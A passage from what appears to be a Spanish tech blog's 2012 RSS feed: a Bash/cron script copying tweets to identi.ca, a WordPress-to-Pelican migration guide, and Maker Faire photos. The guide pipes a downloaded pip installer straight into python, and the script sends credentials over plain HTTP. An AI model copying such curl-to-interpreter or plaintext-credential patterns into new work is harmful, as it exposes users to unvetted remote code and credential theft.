   cat  ~/.twitter_to_identi.ca.txt | grep --color -Eo '&lt;text&gt;.*&lt;/text&gt;' |\<br />
   sed -e 's/^&lt;text&gt;//g' -e 's/&lt;\/text&gt;//g' -e 's/&quot;/%22/g' -e 's/&amp;/%26/g' |\<br />
   awk '{print "status="$0}' &gt; ~/.twitter_to_identi.ca.tmp<br />
   echo updating status<br />
   curl -u $USER:$PASSWORD -d @`realpath ~/.twitter_to_identi.ca.tmp` http://identi.ca/api/statuses/update.xml<br />
   cp  ~/.twitter_to_identi.ca.txt ~/.twitter_to_identi.ca.tmp<br />
}<br />
#<br />
curl "http://api.twitter.com/1/statuses/user_timeline.xml?count=1&amp;screen_name=$TWHANDLE&amp;include_rts=false&amp;exclude_replies=true" |\<br />
grep -m 2 -E '&lt;id&gt;|&lt;text&gt;' | tr '\n' ' ' |sed -e "s/[[:blank:]]\{1,\}/ /g" -e 's/^ //g' -e 's/ $//g' -e 's/[\t]*//' &gt; ~/.twitter_to_identi.ca.tmp<br />
#<br />
if [[ -f ~/.twitter_to_identi.ca.tmp &amp;&amp; -f ~/.twitter_to_identi.ca.txt ]]; then<br />
  cmp -s ~/.twitter_to_identi.ca.tmp ~/.twitter_to_identi.ca.txt &gt; /dev/null<br />
  if [ $? -eq 1 ]; then<br />
     update_identica<br />
  else<br />
    date<br />
    echo no new status<br />
  fi<br />
elif  [[ -f ~/.twitter_to_identi.ca.tmp &amp;&amp; ! -f ~/.twitter_to_identi.ca.txt ]]; then<br />
     update_identica<br />
else<br />
  echo SOMETHING WENT WRONG<br />
  echo "Most like we failed to communicate with twitter or hit the rate limit"<br />
  echo "We failed to read from ~/.twitter_to_identi.ca.tmp"<br />
  exit 1<br />
fi</code></p>
<p>Como ven no es nada complicado, declaramos un par de variables seguido de una función que se encarga de convertir un par de caracteres que me dieron problema actualizando mi estatus en identica desde consola ( El signo <code>&amp;</code> y comillas) y actualiza nuestro estado en identi.ca.</p>
<p>El siguiente segmento lo que hace es pedirle al API de Twitter por nuestro ultimo tweet y excluye retweets y respuestas (@replies), extrae el ID del estatus y el texto. De aquí procede a identificar si ya se ha actualizado en identi.ca o no  o si hubo un error al intentar procesar esta información. </p>
<p>&nbsp;</p>
<h3>Automatizar de Twitter a Identi.ca</h3>
<p>En mi caso use cron y lo programe para que se ejecute cada 5 minutos, creo que el limite del API de Twitter es una vez cada 3 minutos por IP pero en mi caso 5 minutos me ha funcionado mas que bien, creo que incluso podría subirlo a cada 10 minutos. La entrada en cron luce así:<br />
<code>*/5    *    *   *   *  /home/i-love-bacon/donnuts/twitter-identica.sh &gt;&gt; /tmp/twitter-to-identica.log</code></p>
<p>Cualquier problema pueden revisar el archivo /tmp/twitter-to-identica.log para ver por que esta fallando.</p>
<p>&nbsp;</p>
<h3>El pequeño inconveniente.</h3>
<p>Como veran en la URL del API estamos trabajando con la version 1 del API de twitter que ya ha sido descontinuada, es decir, no sabremos hasta cuando nuestro script funcionara. Para poder usar la version mas reciente necesitamos autentificarnos via OAUTH lo que requiere que es un poco complicado desde un shell script. La segunda version de este script sera en Python (a menos que tengan alguna sugerencia).</p>
<p>&nbsp;</p>
<h3>El futuro de este script.</h3>
<p>Por lo pronto es ponerlo a funcionar con el API nuevo de Twitter y para esto creo que tendré que pasarlo a Python. El segundo paso es implementar una cola en caso de que identi.ca se caiga por esto he decidido incluir el ID del tweet en <code>~/.twitter_to_identi.ca.*</code>. Usando el ID uno puede pedirle al API de twitter los tweets desde ese ID, así que si reiniciamos el servidor o perdemos conexión con Twitter por unos minutos podemos retomar el proceso desde donde nos quedamos. En caso de que no podamos comunicarnos con identi.ca por algunos minutos, podemos ir procesando la cola poco a poco sin inundarle el timeline a nuestros seguidores. </p>
<p><a href="http://orvtech.com/howto/desde-twitter-identica/">Desde Twitter a Identi.ca</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orvtech.com/howto/desde-twitter-identica/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>De WordPress a Pelican</title>
		<link>http://orvtech.com/general/de-wordpress-a-pelican/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=de-wordpress-a-pelican</link>
		<comments>http://orvtech.com/general/de-wordpress-a-pelican/#comments</comments>
		<pubDate>Thu, 13 Dec 2012 05:52:08 +0000</pubDate>
		<dc:creator>orvtech</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[NanoBlogger]]></category>
		<category><![CDATA[orvtech]]></category>
		<category><![CDATA[Proyecto Fedora]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://orvtech.com/?p=6566</guid>
		<description><![CDATA[Migrar de wordpress a el CMS que genera contenido estático, Pelican nunca ha sido mas fácil. Pelican es un CMS programado en Python que genera contenido estático y lo mejor de todo viene con herramientas para migrar desde WordPress.<p><a href="http://orvtech.com/general/de-wordpress-a-pelican/">De WordPress a Pelican</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></description>
				<content:encoded><![CDATA[<p>Pelican es un generador de contenido estático, muy parecido a NanoBlogger pero escrito en Python solo que el proyecto esta mucho mas activo que NanoBlogger. Elegí probar Pelican mas que todo para aprender Python, me supuse que al querer costumizarlo y hackearlo me vería obligado a aunque sea manipular código en Python y si esto no es suficiente, en algún momento me propondré a escribir plugins como lo hice para NanoBlogger (galerías, comentarios, etc..). </p>
<div style="text-align:center;"><img src="http://orvtech.info/2012/12/Pelican.jpg" alt="Un cuaderno de notas con código fuente de Pelican sobrepuesto" title="Pelican es un CMS programado en Python que genera contenido estático y lo mejor de todo viene con herramientas para migrar desde WordPress" width="614" height="239" /></div>
<p>&nbsp;</p>
<h3>Contenido estático vs. dinámico.</h3>
<p>Usar un CMS como Pelican tiene sus ventajas, no solo es usar el editor de texto de tu preferencia (vim, emacs) sino también es quitarse el &#8220;overhead&#8221; de usar una DB y un interprete como PHP para generar el contenido que francamente lo veo innecesario para un blog.</p>
<p>En mi caso estaré migrando la paginas de algunas de mis amistades antes que mi blog, mas que todo por que tienen casi un año que no las actualizan y tienen suficiente trafico como para ser un dolor de cabeza en mi VPS, además de que están bien posicionadas a nivel de SEO, así que el reto será migrarlas sin impactar de forma muy marcada su puesto en los buscadores web.</p>
<p>Pelican al igual que WordPress soporta artículos estilo blog y paginas, comentarios a través de plugins estilo Disqus, temas y plantillas basadas en Jinja2, generación de PDFs, multi-lenguages, Atom y RSS feeds, coloreado de sintaxis, interacción con Google Analytics, Twitter, identi.ca, etc&#8230;</p>
<p>&nbsp;</p>
<h3>Instalación de Pelican.</h3>
<p>Hasta ahora solo lo he probado en mi laptop con Fedora y el procedimiento me pareció sencillo, básicamente se instala pip y luego a través de pip se instala Pelican como lo pueden ver en estas dos lineas de código:<br />
<code>curl https://raw.github.com/pypa/pip/master/contrib/get-pip.py | python<br />
pip install pelican</code></p>
<p>Si quieren soporte para Markdown entonces también necesitan ejecutar:<br />
<code>pip install Markdown</code></p>
<p>Pueden leer mas a fondo sobre este tema y seguir los pasos para la creación de su primer blog Pelican en <a href="http://docs.getpelican.com/en/3.1.1/getting_started.html#installing-pelican" hreflang="en" title="Pagina oficial de Pelican" rel="nofollow noindex">la pagina oficial de Pelican.</a></p>
<p>&nbsp;</p>
<h3>Migracion desde WordPress.</h3>
<p>Para importar contenido desde WordPress vamos a necesitar BeautifulSoup y pandoc, el primero se instala vía pip y el segundo depende de tu distribución de Linux, en mi caso lo instale usando yum.<br />
<code>pip install BeautifulSoup<br />
yum install pandoc</code></p>
<p>Una vez que tengamos nuestro Pelican listo para recibir contenido, procedemos a exportar el contenido de nuestro blog usando la URL: <tt>http://orvtech.com/wp-admin/export.php?download</tt> recuerden reemplazar orvtech.com por la url de su blog.<br />
El siguiente paso es importarlo a Pelican y lo pueden hacer ejecutando:<br />
<code>pelican-import --wpfile -m markdown -o ~/blog/content/ ~/Downloads/orvtech.wordpress.2012-12-03.xml</code><br />
Donde <code>~/blog/content/</code> es la ruta al directorio de contenidos de Pelican y <code>~/Downloads/orvtech.wordpress.2012-12-03.xml</code> es la ruta al archivo que exportamos desde WordPress.</p>
<p>&nbsp;</p>
<h3>Enlaces de interés </h3>
<p>Pagina oficial de Pelican: <a href="http://docs.getpelican.com/" rel="nofollow" hreflang="en" title="Pagina oficial del proyecto Pelican">docs.getpelican.com</a>.<br />
GitHup de Pelican: <a href="https://github.com/getpelican/pelican" rel="nofollow" hreflang="en" title="GitHub con el codigo fuente de Pelican">github.com/getpelican/pelican</a>.<br />
Pagina de Jinja2: <a href="http://jinja.pocoo.org/docs/" rel="nofollow" hreflang="en" title="Documentación sobre las plantillas para Pelican con Jinja2">jinja.pocoo.org</a>.</p>
<p>&nbsp;</p>
<p><a href="http://orvtech.com/general/de-wordpress-a-pelican/">De WordPress a Pelican</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orvtech.com/general/de-wordpress-a-pelican/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mini feria Maker del este de la bahía</title>
		<link>http://orvtech.com/general/east-bay-mini-maker-faire-2012/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=east-bay-mini-maker-faire-2012</link>
		<comments>http://orvtech.com/general/east-bay-mini-maker-faire-2012/#comments</comments>
		<pubDate>Fri, 19 Oct 2012 13:50:15 +0000</pubDate>
		<dc:creator>orvtech</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[hacktivismo]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://orvtech.com/?p=6458</guid>
		<description><![CDATA[Fotos de la East Bay Mini Maker Faire en Oakland<p><a href="http://orvtech.com/general/east-bay-mini-maker-faire-2012/">Mini feria Maker del este de la bahía</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></description>
				<content:encoded><![CDATA[<p>Las ferias de Maker son eventos creados por la revista Make para celebrar manualidades, artes ingeniería, ciencia y el estilo de vida DIY (hazlo tú mismo). Llena de familias y miembros de una comunidad de hackers, artistas plásticos y activistas hacen que cualquier geek se sienta en Disneyland for geeks.</p>
<p>La organización estuvo impecable, desde la logística del estacionamiento, la venta de las entradas, las clases hasta las actividades para niños. Camino a la feria me preocupe primero por que pensé que iba tarde y segundo por que me di cuenta que no cargaba efectivo, mi sorpresa al llegar a la entrada fue que podía pagar con tarjeta de crédito a través de tablets que tenían en la entrada que usaban un sistema de pago inalámbrico similar al de Square.</p>
<p><a href="https://lh4.googleusercontent.com/-zK2du9jTfCA/UIDuA8-UuNI/AAAAAAAAX_Y/5gfiPzO4f1Y/s1600/IMG_20121014_124639.jpg "type="image/jpg"><br />
<img src="https://lh4.googleusercontent.com/-zK2du9jTfCA/UIDuA8-UuNI/AAAAAAAAX_Y/5gfiPzO4f1Y/s614/IMG_20121014_124639.jpg" height="460" width="614" alt="orvtech.com en el Maker Faire - excelente para compartir ideas, proyectos o dudas/><br />
</a></p>
<p>Sin extenderme mucho, con este articulo lo que quería era compartir fotos del evento y como de costumbre me excedí tomando fotos. La foto que esta arriba es la entrada al evento que fue en una escuela. Aquí les dejo el primer grupo de fotos:</p>
<p>
<a href="https://lh4.googleusercontent.com/-QU70vIyD_Jk/UIDuBAJjAaI/AAAAAAAAX_k/iYKosXvTfQ4/s1600/IMG_20121014_124944.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-QU70vIyD_Jk/UIDuBAJjAaI/AAAAAAAAX_k/iYKosXvTfQ4/s200-c/IMG_20121014_124944.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - activistas ecológicos y mas" /></a> <a href="https://lh4.googleusercontent.com/-UUkJJ5dTPow/UIDuA_ysYVI/AAAAAAAAX_o/8KX8traqe-k/s1600/IMG_20121014_124949.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-UUkJJ5dTPow/UIDuA_ysYVI/AAAAAAAAX_o/8KX8traqe-k/s200-c/IMG_20121014_124949.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - excelente para compartir ideas, proyectos o dudas" /></a> <a href="https://lh5.googleusercontent.com/-gXjsQ1tE_a4/UIDuBsHyjhI/AAAAAAAAX_0/iSi_BOgVjp4/s1600/IMG_20121014_125102.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-gXjsQ1tE_a4/UIDuBsHyjhI/AAAAAAAAX_0/iSi_BOgVjp4/s200-c/IMG_20121014_125102.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - manualidades de lo más variopintas que integran arte" /></a><br />
<br />
<a href="https://lh4.googleusercontent.com/-r-jxN-EvfBU/UIDuCKhbHMI/AAAAAAAAYAA/P0XMw4-dpto/s1600/IMG_20121014_125105.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-r-jxN-EvfBU/UIDuCKhbHMI/AAAAAAAAYAA/P0XMw4-dpto/s200-c/IMG_20121014_125105.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - manualidades de lo más variopintas que integran arte" /></a> <a href="https://lh6.googleusercontent.com/-WnOkm9tafgs/UIDuCGylx6I/AAAAAAAAYAE/hLLVyXm0I9g/s1600/IMG_20121014_125327.jpg" "type="image/jpg"><img src="https://lh6.googleusercontent.com/-WnOkm9tafgs/UIDuCGylx6I/AAAAAAAAYAE/hLLVyXm0I9g/s200-c/IMG_20121014_125327.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - " /></a> <a href="https://lh5.googleusercontent.com/-Sw5Gu5ybRzU/UIDuCraK1rI/AAAAAAAAYAI/Ns1jKFzUUqM/s1600/IMG_20121014_125353.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-Sw5Gu5ybRzU/UIDuCraK1rI/AAAAAAAAYAI/Ns1jKFzUUqM/s200-c/IMG_20121014_125353.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - " /></a><br />
<br />
<a href="https://lh6.googleusercontent.com/-xVMXnNegkLI/UIDuDI_xwII/AAAAAAAAYAQ/nYlMrmEHEBg/s1600/IMG_20121014_125434.jpg" "type="image/jpg"><img src="https://lh6.googleusercontent.com/-xVMXnNegkLI/UIDuDI_xwII/AAAAAAAAYAQ/nYlMrmEHEBg/s200-c/IMG_20121014_125434.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - ciencia, ingeniería y altas dosis de creatividad" /></a> <a href="https://lh3.googleusercontent.com/-DazNBsLYMII/UIDuDGmijxI/AAAAAAAAYAY/9Pnao1DcSYE/s1600/IMG_20121014_125514.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-DazNBsLYMII/UIDuDGmijxI/AAAAAAAAYAY/9Pnao1DcSYE/s200-c/IMG_20121014_125514.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - cursos de soldar" /></a> <a href="https://lh3.googleusercontent.com/-w9ZZQyNgXeI/UIDuDoMMfWI/AAAAAAAAYAU/Vg0NVUZlnr0/s1600/IMG_20121014_125522.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-w9ZZQyNgXeI/UIDuDoMMfWI/AAAAAAAAYAU/Vg0NVUZlnr0/s200-c/IMG_20121014_125522.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - manualidades de lo más variopintas que integran arte" /></a><br />
<br />
<a href="https://lh4.googleusercontent.com/-vUmAswVIo_o/UIDuEfTykNI/AAAAAAAAYAk/dnxQcXfTxCE/s1600/IMG_20121014_125530.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-vUmAswVIo_o/UIDuEfTykNI/AAAAAAAAYAk/dnxQcXfTxCE/s200-c/IMG_20121014_125530.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - hackers y científicos se encuentran con fabricantes artesanales de cerveza " /></a> <a href="https://lh6.googleusercontent.com/-wq-oIDmNo7c/UIDuEcJUy9I/AAAAAAAAYAo/DgX2qIqhoRQ/s1600/IMG_20121014_125630.jpg" "type="image/jpg"><img src="https://lh6.googleusercontent.com/-wq-oIDmNo7c/UIDuEcJUy9I/AAAAAAAAYAo/DgX2qIqhoRQ/s200-c/IMG_20121014_125630.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - excelente para compartir ideas, proyectos o dudas" /></a> <a href="https://lh5.googleusercontent.com/-smRehF_SXQY/UIDuE5yR-SI/AAAAAAAAYAs/jquEWy1K_f8/s1600/IMG_20121014_125641.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-smRehF_SXQY/UIDuE5yR-SI/AAAAAAAAYAs/jquEWy1K_f8/s200-c/IMG_20121014_125641.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - activistas ecológicos y mas" /></a> </p>
<p>Como ven arriba, enseguida que uno entra se ven vehículos propulsados a pedal, algunos en forma de animales otros en forma de insectos e incluso en forma de tacitas de te y cupcakes, esta creo que fue una de las partes preferidas para los niños. Mi hijo en particular estaba encantado con estos. La mayoría de los animales tenían movimientos muy articulados, excepto por los eléctricos que eran autopropulsados y que cada niño controlaba con un joystick mientras lo montaban.<br />
<br />
<a href="https://lh3.googleusercontent.com/-L-IBy013YlM/UIDuFvlMkBI/AAAAAAAAYA0/ObYDkTlK2ak/s1600/IMG_20121014_125854.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-L-IBy013YlM/UIDuFvlMkBI/AAAAAAAAYA0/ObYDkTlK2ak/s200-c/IMG_20121014_125854.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - hackers y científicos se encuentran con fabricantes artesanales de cerveza " /></a> <a href="https://lh4.googleusercontent.com/-5ekArSOOchg/UIDuFsMhB3I/AAAAAAAAYA4/rvAQLTin-Uw/s1600/IMG_20121014_130559.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-5ekArSOOchg/UIDuFsMhB3I/AAAAAAAAYA4/rvAQLTin-Uw/s200-c/IMG_20121014_130559.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - " /></a> <a href="https://lh6.googleusercontent.com/-UB1UOYKMB2w/UIDuHnBvDMI/AAAAAAAAYBQ/c_lAK8znknA/s1600/IMG_20121014_130603.jpg" "type="image/jpg"><img src="https://lh6.googleusercontent.com/-UB1UOYKMB2w/UIDuHnBvDMI/AAAAAAAAYBQ/c_lAK8znknA/s200-c/IMG_20121014_130603.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - excelente para compartir ideas, proyectos o dudas" /></a><br />
<br />
<a href="https://lh5.googleusercontent.com/-XFb3zohNVck/UIDuGlu2naI/AAAAAAAAYBI/f1Fi4R61-rg/s1600/IMG_20121014_131222.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-XFb3zohNVck/UIDuGlu2naI/AAAAAAAAYBI/f1Fi4R61-rg/s200-c/IMG_20121014_131222.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - artistas plásticos y ecologistas se encuentran en Oakland" /></a> <a href="https://lh3.googleusercontent.com/-ZIuT87yxGtc/UIDuGpPYN7I/AAAAAAAAYBE/uokVE-Cjqp8/s1600/IMG_20121014_131242.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-ZIuT87yxGtc/UIDuGpPYN7I/AAAAAAAAYBE/uokVE-Cjqp8/s200-c/IMG_20121014_131242.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - manualidades de lo más variopintas que integran arte" /></a> <a href="https://lh3.googleusercontent.com/-YfzrO2yDBP4/UIDuIVehaWI/AAAAAAAAYBc/Ni-9xHb2bhM/s1600/IMG_20121014_131257.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-YfzrO2yDBP4/UIDuIVehaWI/AAAAAAAAYBc/Ni-9xHb2bhM/s200-c/IMG_20121014_131257.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - " /></a><br />
<br />
<a href="https://lh6.googleusercontent.com/-YHb3ahrO8FA/UIDuIFu9YXI/AAAAAAAAYBg/LGuUpaU3yYw/s1600/IMG_20121014_131304.jpg" "type="image/jpg"><img src="https://lh6.googleusercontent.com/-YHb3ahrO8FA/UIDuIFu9YXI/AAAAAAAAYBg/LGuUpaU3yYw/s200-c/IMG_20121014_131304.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - una oportunidad para conocer los activistas locales" /></a> <a href="https://lh4.googleusercontent.com/-CPwrZDfxqMo/UIDuIwQkOWI/AAAAAAAAYBs/OWdMykPmwDc/s1600/IMG_20121014_131316.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-CPwrZDfxqMo/UIDuIwQkOWI/AAAAAAAAYBs/OWdMykPmwDc/s200-c/IMG_20121014_131316.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - manualidades de lo más variopintas que integran arte" /></a> <a href="https://lh6.googleusercontent.com/-lI1QhZ_TC4I/UIDuMMnh3uI/AAAAAAAAYCw/voQfmDXYJsc/s1600/IMG_20121014_132254.jpg" "type="image/jpg"><img src="https://lh6.googleusercontent.com/-lI1QhZ_TC4I/UIDuMMnh3uI/AAAAAAAAYCw/voQfmDXYJsc/s200-c/IMG_20121014_132254.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - ciencia, ingeniería y altas dosis de creatividad" /></a> </p>
<p>Las actividades variaban mucho, las primeras fotos del grupo que esta arriba eran de especie de barcazas echas con materiales reciclables donde los niños aprendían y estudiaban a fabricar esta especie de templos flotantes y los que querían podían lanzarlos por un río artificial de unos 5 metros (15 pies) y podían ajustar su &#8220;invento&#8221; e intentar de nuevo, mas que todo como para niños de 1 a 4 años.<br />
Justo antes de bajar un patio donde podían construir cohetes propulsados por aire comprimido tenían un par de salones pequeños donde daban varias clases y entre estas clases me di cuenta que tenían eran una especie de portarretratos que tenian su contador incorporado para cada vez que alguien presionaba el botón de &#8220;Like&#8221;.</p>
<p>
<a href="https://lh5.googleusercontent.com/-BdWLo1GRy4U/UIDuJZGz4II/AAAAAAAAYB8/dAcpTuFocmc/s1600/IMG_20121014_131722.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-BdWLo1GRy4U/UIDuJZGz4II/AAAAAAAAYB8/dAcpTuFocmc/s200-c/IMG_20121014_131722.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - activistas ecológicos y mas" /></a> <a href="https://lh5.googleusercontent.com/-tyu6Q4JzFwY/UIDuJfLD4ZI/AAAAAAAAYB4/jRbyfgUUpWA/s1600/IMG_20121014_131734.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-tyu6Q4JzFwY/UIDuJfLD4ZI/AAAAAAAAYB4/jRbyfgUUpWA/s200-c/IMG_20121014_131734.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - si alguna vez desarmaste algo para ver como funcionaba, aquí te sentirías como en nerdvana" /></a> <a href="https://lh5.googleusercontent.com/-hbFmpJQjsNg/UIDuKW17BwI/AAAAAAAAYCE/WyJnuNPFFJ0/s1600/IMG_20121014_131736.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-hbFmpJQjsNg/UIDuKW17BwI/AAAAAAAAYCE/WyJnuNPFFJ0/s200-c/IMG_20121014_131736.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - artistas plásticos y ecologistas se encuentran en Oakland" /></a> </p>
<p>Papas cocinandose entre 250 y 350 grados usando solo energía solar, gran parte de los experimentos involucraban tecnologias alternativas de bajo impacto al medio ambiente, a la derecha de este se encontraba un puesto para preparar pretzels orgánicos en un horno de barro.  </p>
<p>
<a href="https://lh6.googleusercontent.com/-o6w1WUDJnII/UIDuKZYk5BI/AAAAAAAAYCI/O5k1luxXxwM/s1600/IMG_20121014_131820.jpg" "type="image/jpg"><img src="https://lh6.googleusercontent.com/-o6w1WUDJnII/UIDuKZYk5BI/AAAAAAAAYCI/O5k1luxXxwM/s307-c/IMG_20121014_131820.jpg" height="307" width="307" alt="orvtech.com - Maker Faire - " /></a> <a href="https://lh4.googleusercontent.com/-f3sen1FXTIk/UIDuK_XotJI/AAAAAAAAYCY/6BTCdNcqxIE/s1600/IMG_20121014_131824.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-f3sen1FXTIk/UIDuK_XotJI/AAAAAAAAYCY/6BTCdNcqxIE/s307-c/IMG_20121014_131824.jpg" height="307" width="307" alt="En el Maker Faire con orvtech.com - artistas plásticos y ecologistas se encuentran en Oakland" /></a><br />
<br />
<a href="https://lh4.googleusercontent.com/-n1lMcKSArR0/UIDuLETjcCI/AAAAAAAAYCc/kxLcAV39cHs/s1600/IMG_20121014_131830.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-n1lMcKSArR0/UIDuLETjcCI/AAAAAAAAYCc/kxLcAV39cHs/s307-c/IMG_20121014_131830.jpg" height="307" width="307" alt="orvtech.com en el Maker Faire - excelente para compartir ideas, proyectos o dudas" /></a> <a href="https://lh4.googleusercontent.com/-YflG5Y7yP6I/UIDuLmlxZ-I/AAAAAAAAYCo/ydQ2w-7HMWc/s1600/IMG_20121014_132017.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-YflG5Y7yP6I/UIDuLmlxZ-I/AAAAAAAAYCo/ydQ2w-7HMWc/s307-c/IMG_20121014_132017.jpg" height="307" width="307" alt="orvtech.com - Maker Faire - cursos de soldar" /></a> </p>
<p>Luego de aprender conceptos básicos sobre aerodinámica y el mecanismo de propulsión que se van a usar, los niños y no tan niños diseñaban y ensamblaban sus cohetes para luego esperar su turno y ver si su diseño funciona. </p>
<p>
<a href="https://lh5.googleusercontent.com/-AQ4gmCkW6BM/UIDuc2pZTMI/AAAAAAAAYHY/UjZ7eFBJGLs/s1600/IMG_20121014_143156.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-AQ4gmCkW6BM/UIDuc2pZTMI/AAAAAAAAYHY/UjZ7eFBJGLs/s200-c/IMG_20121014_143156.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - excelente para compartir ideas, proyectos o dudas" /></a> <a href="https://lh4.googleusercontent.com/-CFmlIl6XxLA/UIDudFWLawI/AAAAAAAAYHU/Q6aq7mQ63-w/s1600/IMG_20121014_143201.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-CFmlIl6XxLA/UIDudFWLawI/AAAAAAAAYHU/Q6aq7mQ63-w/s200-c/IMG_20121014_143201.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - hackers y científicos se encuentran con fabricantes artesanales de cerveza " /></a> <a href="https://lh6.googleusercontent.com/-fU9pf2yYOA8/UIDud9aiJvI/AAAAAAAAYHs/ms8sd3QXOKQ/s1600/IMG_20121014_143732.jpg" "type="image/jpg"><img src="https://lh6.googleusercontent.com/-fU9pf2yYOA8/UIDud9aiJvI/AAAAAAAAYHs/ms8sd3QXOKQ/s200-c/IMG_20121014_143732.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - hackers y científicos se encuentran con fabricantes artesanales de cerveza " /></a><br />
<img src="https://lh6.googleusercontent.com/-jxya4x6LM-Y/UIEqNKD4byI/AAAAAAAAYNU/NYkOlgvrL2o/s800/20121014_144408-2.jpg" height="399" width="614" align="center" alt="Yo recibiendo concejos para soldar" /><br />
<a href="https://lh5.googleusercontent.com/-IEmA_E_zvWw/UIDud2nlasI/AAAAAAAAYHw/rpCX4xmPPMo/s1600/IMG_20121014_144020.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-IEmA_E_zvWw/UIDud2nlasI/AAAAAAAAYHw/rpCX4xmPPMo/s200-c/IMG_20121014_144020.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - ciencia, ingeniería y altas dosis de creatividad" /></a> <a href="https://lh5.googleusercontent.com/-Fc1C7hnEymM/UIDueLmgZ1I/AAAAAAAAYHo/8-dDg7kqhS4/s1600/IMG_20121014_144132.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-Fc1C7hnEymM/UIDueLmgZ1I/AAAAAAAAYHo/8-dDg7kqhS4/s200-c/IMG_20121014_144132.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - clases para fabricar robots usando latas de cafe, coffee-bots?" /></a> <a href="https://lh4.googleusercontent.com/-lJED6106kdI/UIDufOoX9YI/AAAAAAAAYIY/2woP32XH2BE/s1600/IMG_20121014_144345.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-lJED6106kdI/UIDufOoX9YI/AAAAAAAAYIY/2woP32XH2BE/s200-c/IMG_20121014_144345.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - artistas plásticos y ecologistas se encuentran en Oakland" /></a><br />
Arriba están fotos de un curso de soldaduras, quería hablar con alguien experto en el tema para que identificara que fallas tengo, aparte de recibir varios consejos y darme cuenta de errores que para algunos parecerían obvios, me di cuenta que el estaño que usan es mucho mas delgado del que yo he estado usando y ademas no despide gases o humo tóxico.</p>
<p>
